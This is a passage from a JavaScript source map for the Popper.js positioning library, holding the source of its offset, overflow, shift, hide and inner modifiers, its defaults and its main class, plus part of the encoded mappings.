Y.\n  const splitRegex = /\\s*,\\s*|\\s+/;\n  let ops = divider !== -1\n    ? [\n        fragments\n          .slice(0, divider)\n          .concat([fragments[divider].split(splitRegex)[0]]),\n        [fragments[divider].split(splitRegex)[1]].concat(\n          fragments.slice(divider + 1)\n        ),\n      ]\n    : [fragments];\n\n  // Convert the values with units to absolute pixels to allow our computations\n  ops = ops.map((op, index) => {\n    // Most of the units rely on the orientation of the popper\n    const measurement = (index === 1 ? !useHeight : useHeight)\n      ? 'height'\n      : 'width';\n    let mergeWithPrevious = false;\n    return (\n      op\n        // This aggregates any `+` or `-` sign that aren't considered operators\n        // e.g.: 10 + +5 => [10, +, +5]\n        .reduce((a, b) => {\n          if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {\n            a[a.length - 1] = b;\n            mergeWithPrevious = true;\n            return a;\n          } else if (mergeWithPrevious) {\n            a[a.length - 1] += b;\n            mergeWithPrevious = false;\n            return a;\n          } else {\n            return a.concat(b);\n          }\n        }, [])\n        // Here we convert the string values into number values (in px)\n        .map(str => toValue(str, measurement, popperOffsets, referenceOffsets))\n    );\n  });\n\n  // Loop trough the offsets arrays and execute the operations\n  ops.forEach((op, index) => {\n    op.forEach((frag, index2) => {\n      if (isNumeric(frag)) {\n        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);\n      }\n    });\n  });\n  return offsets;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @argument {Number|String} options.offset=0\n * The offset value as described in the modifier description\n * @returns {Object} The data object, properly modified\n */\nexport default function offset(data, { offset }) {\n  const { placement, offsets: { popper, reference } } = data;\n  const basePlacement = placement.split('-')[0];\n\n  let offsets;\n  if (isNumeric(+offset)) {\n    offsets = [+offset, 0];\n  } else {\n    offsets = parseOffset(offset, popper, reference, basePlacement);\n  }\n\n  if (basePlacement === 'left') {\n    popper.top += offsets[0];\n    popper.left -= offsets[1];\n  } else if (basePlacement === 'right') {\n    popper.top += offsets[0];\n    popper.left += offsets[1];\n  } else if (basePlacement === 'top') {\n    popper.left += offsets[0];\n    popper.top -= offsets[1];\n  } else if (basePlacement === 'bottom') {\n    popper.left += offsets[0];\n    popper.top += offsets[1];\n  }\n\n  data.popper = popper;\n  return data;\n}\n","import getOffsetParent from '../utils/getOffsetParent';\nimport getBoundaries from '../utils/getBoundaries';\nimport getSupportedPropertyName from '../utils/getSupportedPropertyName';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function preventOverflow(data, options) {\n  let boundariesElement =\n    options.boundariesElement || getOffsetParent(data.instance.popper);\n\n  // If offsetParent is the reference element, we really want to\n  // go one step up and use the next offsetParent as reference to\n  // avoid to make this modifier completely useless and look like broken\n  if (data.instance.reference === boundariesElement) {\n    boundariesElement = getOffsetParent(boundariesElement);\n  }\n\n  // NOTE: DOM access here\n  // resets the popper's position so that the document size can be calculated excluding\n  // the size of the popper element itself\n  const transformProp = getSupportedPropertyName('transform');\n  const popperStyles = data.instance.popper.style; // assignment to help minification\n  const { top, left, [transformProp]: transform } = popperStyles;\n  popperStyles.top = '';\n  popperStyles.left = '';\n  popperStyles[transformProp] = '';\n\n  const boundaries = getBoundaries(\n    data.instance.popper,\n    data.instance.reference,\n    options.padding,\n    boundariesElement,\n    data.positionFixed\n  );\n\n  // NOTE: DOM access here\n  // restores the original style properties after the offsets have been computed\n  popperStyles.top = top;\n  popperStyles.left = left;\n  popperStyles[transformProp] = transform;\n\n  options.boundaries = boundaries;\n\n  const order = options.priority;\n  let popper = data.offsets.popper;\n\n  const check = {\n    primary(placement) {\n      let value = popper[placement];\n      if (\n        popper[placement] < boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.max(popper[placement], boundaries[placement]);\n      }\n      return { [placement]: value };\n    },\n    secondary(placement) {\n      const mainSide = placement === 'right' ? 'left' : 'top';\n      let value = popper[mainSide];\n      if (\n        popper[placement] > boundaries[placement] &&\n        !options.escapeWithReference\n      ) {\n        value = Math.min(\n          popper[mainSide],\n          boundaries[placement] -\n            (placement === 'right' ? popper.width : popper.height)\n        );\n      }\n      return { [mainSide]: value };\n    },\n  };\n\n  order.forEach(placement => {\n    const side =\n      ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';\n    popper = { ...popper, ...check[side](placement) };\n  });\n\n  data.offsets.popper = popper;\n\n  return data;\n}\n","/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function shift(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const shiftvariation = placement.split('-')[1];\n\n  // if shift shiftvariation is specified, run the modifier\n  if (shiftvariation) {\n    const { reference, popper } = data.offsets;\n    const isVertical = ['bottom', 'top'].indexOf(basePlacement) !== -1;\n    const side = isVertical ? 'left' : 'top';\n    const measurement = isVertical ? 'width' : 'height';\n\n    const shiftOffsets = {\n      start: { [side]: reference[side] },\n      end: {\n        [side]: reference[side] + reference[measurement] - popper[measurement],\n      },\n    };\n\n    data.offsets.popper = { ...popper, ...shiftOffsets[shiftvariation] };\n  }\n\n  return data;\n}\n","import isModifierRequired from '../utils/isModifierRequired';\nimport find from '../utils/find';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function hide(data) {\n  if (!isModifierRequired(data.instance.modifiers, 'hide', 'preventOverflow')) {\n    return data;\n  }\n\n  const refRect = data.offsets.reference;\n  const bound = find(\n    data.instance.modifiers,\n    modifier => modifier.name === 'preventOverflow'\n  ).boundaries;\n\n  if (\n    refRect.bottom < bound.top ||\n    refRect.left > bound.right ||\n    refRect.top > bound.bottom ||\n    refRect.right < bound.left\n  ) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n","import getClientRect from '../utils/getClientRect';\nimport getOppositePlacement from '../utils/getOppositePlacement';\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function inner(data) {\n  const placement = data.placement;\n  const basePlacement = placement.split('-')[0];\n  const { popper, reference } = data.offsets;\n  const isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  const subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] =\n    reference[basePlacement] -\n    (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n","import applyStyle, { applyStyleOnLoad } from './applyStyle';\nimport computeStyle from './computeStyle';\nimport arrow from './arrow';\nimport flip from './flip';\nimport keepTogether from './keepTogether';\nimport offset from './offset';\nimport preventOverflow from './preventOverflow';\nimport shift from './shift';\nimport hide from './hide';\nimport inner from './inner';\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nexport default {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift,\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unit-less, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the `height`.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > You can read more on this at this [issue](https://github.com/FezVrasta/popper.js/issues/373).\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0,\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * A scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper. This makes sure the popper always has a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier. Can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent',\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near each other\n   * without leaving any gap between the two. Especially useful when the arrow is\n   * enabled and you want to ensure that it points to its reference element.\n   * It cares only about the first axis. You can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether,\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjunction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]',\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations)\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position.\n     * The popper will never be placed outside of the defined boundaries\n     * (except if `keepTogether` is enabled)\n     */\n    boundariesElement: 'viewport',\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner,\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide,\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right',\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define your own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3D transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties\n     */\n    gpuAcceleration: undefined,\n  },\n};\n\n/**\n * The `dataObject` is an object containing all the information used by Popper.js.\n * This object is passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow. It expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n","import modifiers from '../modifiers/index';\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overridden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass an object with the same\n * structure of the `options` object, as the 3rd argument. For example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nexport default {\n  /**\n   * Popper's placement.\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Set this to true if you want popper to position it self in 'fixed' mode\n   * @prop {Boolean} positionFixed=false\n   */\n  positionFixed: false,\n\n  /**\n   * Whether events (resize, scroll) are initially enabled.\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: () => {},\n\n  /**\n   * Callback called when the popper is updated. This callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, it is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: () => {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js.\n   * @prop {modifiers}\n   */\n  modifiers,\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n","// Utils\nimport debounce from './utils/debounce';\nimport isFunction from './utils/isFunction';\n\n// Methods\nimport update from './methods/update';\nimport destroy from './methods/destroy';\nimport enableEventListeners from './methods/enableEventListeners';\nimport disableEventListeners from './methods/disableEventListeners';\nimport Defaults from './methods/defaults';\nimport placements from './methods/placements';\n\nexport default class Popper {\n  /**\n   * Creates a new Popper.js instance.\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as the popper\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  constructor(reference, popper, options = {}) {\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = { ...Popper.Defaults, ...options };\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: [],\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference && reference.jquery ? reference[0] : reference;\n    this.popper = popper && popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys({\n      ...Popper.Defaults.modifiers,\n      ...options.modifiers,\n    }).forEach(name => {\n      this.options.modifiers[name] = {\n        // If it's a built-in modifier, use it as base\n        ...(Popper.Defaults.modifiers[name] || {}),\n        // If there are custom options, override and merge with default ones\n        ...(options.modifiers ? options.modifiers[name] : {}),\n      };\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers)\n      .map(name => ({\n        name,\n        ...this.options.modifiers[name],\n      }))\n      // sort the modifiers by order\n      .sort((a, b) => a.order - b.order);\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(modifierOptions => {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(\n          this.reference,\n          this.popper,\n          this.options,\n          modifierOptions,\n          this.state\n        );\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    const eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n  update() {\n    return update.call(this);\n  }\n  destroy() {\n    return destroy.call(this);\n  }\n  enableEventListeners() {\n    return enableEventListeners.call(this);\n  }\n  disableEventListeners() {\n    return disableEventListeners.call(this);\n  }\n\n  /**\n   * Schedules an update. It will run on the next UI update available.\n   * @method scheduleUpdate\n   * @memberof Popper\n   */\n  scheduleUpdate = () => requestAnimationFrame(this.update);\n\n  /**\n   * Collection of utilities useful when writing custom modifiers.\n   * Starting from version 1.7, this method is available only if you\n   * include `popper-utils.js` before `popper.js`.\n   *\n   * **DEPRECATION**: This way to access PopperUtils is deprecated\n   * and will be removed in v2! Use the PopperUtils module directly instead.\n   * Due to the high instability of the methods contained in Utils, we can't\n   * guarantee them to follow semver. Use them at your own risk!\n   * @static\n   * @private\n   * @type {Object}\n   * @deprecated since version 1.8\n   * @member Utils\n   * @memberof Popper\n   */\n  static Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\n\n  static placements = placements;\n\n  static Defaults = Defaults;\n}\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10.\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n"],"names":["window","document","longerTimeoutBrowsers","timeoutDuration","i","length","isBrowser","navigator","userAgent","indexOf","microtaskDebounce","fn","called","Promise","resolve","then","taskDebounce","scheduled","supportsMicroTasks","isFunction","functionToCheck","getType","toString","call","getStyleComputedProperty","element","property","nodeType","ownerDocument","defaultView","css","getComputedStyle","getParentNode","nodeName","parentNode","host","getScrollParent","body","overflow","overflowX","overflowY","test","isIE11","MSInputMethodContext","documentMode","isIE10","isIE","version","getOffsetParent","documentElement","noOffsetParent","offsetParent","nextElementSibling","isOffsetContainer","firstElementChild","getRoot","node","findCommonOffsetParent","element1","element2","order","compareDocumentPosition","Node","DOCUMENT_POSITION_FOLLOWING","start","end","range","createRange","setStart","setEnd","commonAncestorContainer","contains","element1root","getScroll","side","upperSide","html","scrollingElement","includeScroll","rect","subtract","scrollTop","scrollLeft","modifier","top","bottom","left","right","getBordersSize","styles","axis","sideA","sideB","parseFloat","getSize","computedStyle","Math","max","parseInt","getWindowSizes","getClientRect","offsets","width","height","getBoundingClientRect","e","result","sizes","clientWidth","clientHeight","horizScrollbar","offsetWidth","vertScrollbar","offsetHeight","getOffsetRectRelativeToArbitraryNode","children","parent","fixedPosition","runIsIE","isHTML","childrenRect","parentRect","scrollParent","borderTopWidth","borderLeftWidth","marginTop","marginLeft","getViewportOffsetRectRelativeToArtbitraryNode","excludeScroll","relativeOffset","innerWidth","innerHeight","offset","isFixed","getFixedPositionOffsetParent","parentElement","el","getBoundaries","popper","reference","padding","boundariesElement","boundaries","boundariesNode","isPaddingNumber","getArea","computeAutoPlacement","placement","refRect","rects","sortedAreas","Object","keys","map","key","sort","a","b","area","filteredAreas","filter","computedPlacement","variation","split","getReferenceOffsets","state","commonOffsetParent","getOuterSizes","x","marginBottom","y","marginRight","getOppositePlacement","hash","replace","matched","getPopperOffsets","referenceOffsets","popperRect","popperOffsets","isHoriz","mainSide","secondarySide","measurement","secondaryMeasurement","find","arr","check","Array","prototype","findIndex","prop","value","cur","match","obj","runModifiers","modifiers","data","ends","modifiersToRun","undefined","slice","forEach","warn","enabled","update","isDestroyed","options","positionFixed","flip","originalPlacement","position","isCreated","onCreate","onUpdate","isModifierEnabled","modifierName","some","name","getSupportedPropertyName","prefixes","upperProp","charAt","toUpperCase","prefix","toCheck","style","destroy","removeAttribute","willChange","disableEventListeners","removeOnDestroy","removeChild","getWindow","attachToScrollParents","event","callback","scrollParents","isBody","target","addEventListener","passive","push","setupEventListeners","updateBound","scrollElement","eventsEnabled","enableEventListeners","scheduleUpdate","removeEventListeners","removeEventListener","isNumeric","n","isNaN","isFinite","setStyles","unit","setAttributes","attributes","setAttribute","applyStyle","instance","arrowElement","arrowStyles","applyStyleOnLoad","modifierOptions","computeStyle","legacyGpuAccelerationOption","gpuAcceleration","offsetParentRect","floor","round","prefixedProperty","invertTop","invertLeft","arrow","isModifierRequired","requestingName","requestedName","requesting","isRequired","requested","querySelector","isVertical","len","sideCapitalized","toLowerCase","altSide","opSide","arrowElementSize","center","popperMarginSide","popperBorderSide","sideValue","min","getOppositeVariation","validPlacements","placements","clockwise","counter","index","concat","reverse","BEHAVIORS","flipped","placementOpposite","flipOrder","behavior","FLIP","CLOCKWISE","COUNTERCLOCKWISE","step","refOffsets","overlapsRef","overflowsLeft","overflowsRight","overflowsTop","overflowsBottom","overflowsBoundaries","flippedVariation","flipVariations","keepTogether","toValue","str","size","parseOffset","basePlacement","useHeight","fragments","frag","trim","divider","search","splitRegex","ops","op","mergeWithPrevious","reduce","index2","preventOverflow","transformProp","popperStyles","transform","priority","escapeWithReference","shift","shiftvariation","shiftOffsets","hide","bound","inner","subtractLength","Popper","requestAnimationFrame","debounce","bind","Defaults","jquery","onLoad","Utils","global","PopperUtils"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;AAAA,gBAAe,OAAOA,MAAP,KAAkB,WAAlB,IAAiC,OAAOC,QAAP,KAAoB,WAApE;;ACEA,MAAMC,wBAAwB,CAAC,MAAD,EAAS,SAAT,EAAoB,SAApB,CAA9B;AACA,IAAIC,kBAAkB,CAAtB;AACA,KAAK,IAAIC,IAAI,CAAb,EAAgBA,IAAIF,sBAAsBG,MAA1C,EAAkDD,KAAK,CAAvD,EAA0D;MACpDE,aAAaC,UAAUC,SAAV,CAAoBC,OAApB,CAA4BP,sBAAsBE,CAAtB,CAA5B,KAAyD,CAA1E,EAA6E;sBACzD,CAAlB;;;;;AAKJ,AAAO,SAASM,iBAAT,CAA2BC,EAA3B,EAA+B;MAChCC,SAAS,KAAb;SACO,MAAM;QACPA,MAAJ,EAAY;;;aAGH,IAAT;WACOC,OAAP,CAAeC,OAAf,GAAyBC,IAAzB,CAA8B,MAAM;eACzB,KAAT;;KADF;GALF;;;AAYF,AAAO,SAASC,YAAT,CAAsBL,EAAtB,EAA0B;MAC3BM,YAAY,KAAhB;SACO,MAAM;QACP,CAACA,SAAL,EAAgB;kBACF,IAAZ;iBACW,MAAM;oBACH,KAAZ;;OADF,EAGGd,eAHH;;GAHJ;;;AAWF,MAAMe,qBAAqBZ,aAAaN,OAAOa,OAA/C;;;;;;;;;;;AAYA,eAAgBK,qBACZR,iBADY,GAEZM,YAFJ;;AClDA;;;;;;;AAOA,AAAe,SAASG,UAAT,CAAoBC,eAApB,EAAqC;QAC5CC,UAAU,EAAhB;SAEED,mBACAC,QAAQC,QAAR,CAAiBC,IAAjB,CAAsBH,eAAtB,MAA2C,mBAF7C;;;ACTF;;;;;;;AAOA,AAAe,SAASI,wBAAT,CAAkCC,OAAlC,EAA2CC,QAA3C,EAAqD;MAC9DD,QAAQE,QAAR,KAAqB,CAAzB,EAA4B;WACnB,EAAP;;;QAGI3B,SAASyB,QAAQG,aAAR,CAAsBC,WAArC;QACMC,MAAM9B,OAAO+B,gBAAP,CAAwBN,OAAxB,EAAiC,IAAjC,CAA